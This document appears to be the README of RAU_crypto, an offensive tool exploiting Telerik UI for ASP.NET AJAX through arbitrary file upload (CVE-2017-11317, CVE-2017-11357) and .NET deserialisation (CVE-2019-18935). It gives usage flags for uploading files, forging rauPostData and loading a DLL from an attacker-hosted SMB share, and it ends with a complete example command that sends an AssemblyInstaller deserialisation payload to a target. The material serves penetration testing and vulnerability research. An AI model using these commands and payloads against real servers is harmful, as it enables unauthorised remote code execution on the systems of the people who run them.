Awesome

RAU_crypto

Combined exploit for Telerik UI for ASP.NET AJAX.

• File upload for CVE-2017-11317 and CVE-2017-11357 - will automatically upload the file
• .NET deserialisation for CVE-2019-18935

Now supports testing for the target's ability to pull in remote payloads from an attacker-hosted SMB service. Use Burp Collaborator and/or Responder to facilitate testing whether the necessary pre-requisites are in place.

For exploitation to work, you generally need a version with hard coded keys, or you need to know the key, for example if you can disclose the contents of web.config. The exploit also allows for straightforward decryption and encryption of the rauPostData used with Telerik.Web.UI.WebResource.axd?type=rau

Requirements

• python >= 3.6 with pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - installed with pip3 install pycryptodome or pip3 install pycryptodomex

Published on exploit-db (old version)

• https://www.exploit-db.com/exploits/43874/

See also

My other Telerik UI exploit (for CVE-2017-9248) will probably also be of interest. It is available here:

• https://github.com/bao7uo/dp_crypto

To do

• Missing HMAC functionality for later versions.
• Ability to specify custom key.
• Command line argument for execution of a mixed mode dll (in the meantime use the example .NET deserialisation payload provided below).
• Command line arguments for testing capability of and loading remotely (SMB) hosted mixed mode dlls
• Separate utility for testing mixed mode dll.
• Provide source code/compilation instructions for mixed mode dll.
• Brute force versions.

Note - the last four items are complete but not released.

Vulnerabilities

The file upload (CVE-2017-11317) vulnerability was discovered by others, I believe credits due to @straight_blast @pwntester @olekmirosh . Shortly after it was announced, I encountered the Telerik library during the course of my work, so I researched it and the vulnerability and wrote this exploit in July 2017. I also reported CVE-2017-11357 for the related insecure direct object reference.

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

The .NET deserialisation (CVE-2019-18935) vulnerability was discovered by @mwulftange.

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

Usage

$ ./RAU_crypto.py -h

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Check remote SMB payload capability -r lhost url [proxy]

Load remote SMB dll payload         -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload  -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version:           2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS

$

Example - decryption

Example - arbitrary file uplaod

Custom payload (.NET deserialisation)

For details on custom payloads for .NET deserialisation, there is a great article by @mwulftange who discovered this vulnerability on the Code White blog at the following link.

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

Update - There is an alternative exploit by Caleb Gross @noperator, which incorporates features from this exploit, with a great blog article explaining everything. Thanks also to Caleb for contributing to RAU_Crypto.

• https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui

Other relevant links.

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

Example .NET deserialisation payload:

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

For mixed Mode DLL, see my other github repo:

• https://github.com/bao7uo/MixedUp

Special thanks to @irsdl who inspired the custom payload feature.

Credit to @rwincey who inspired the remote dll feature.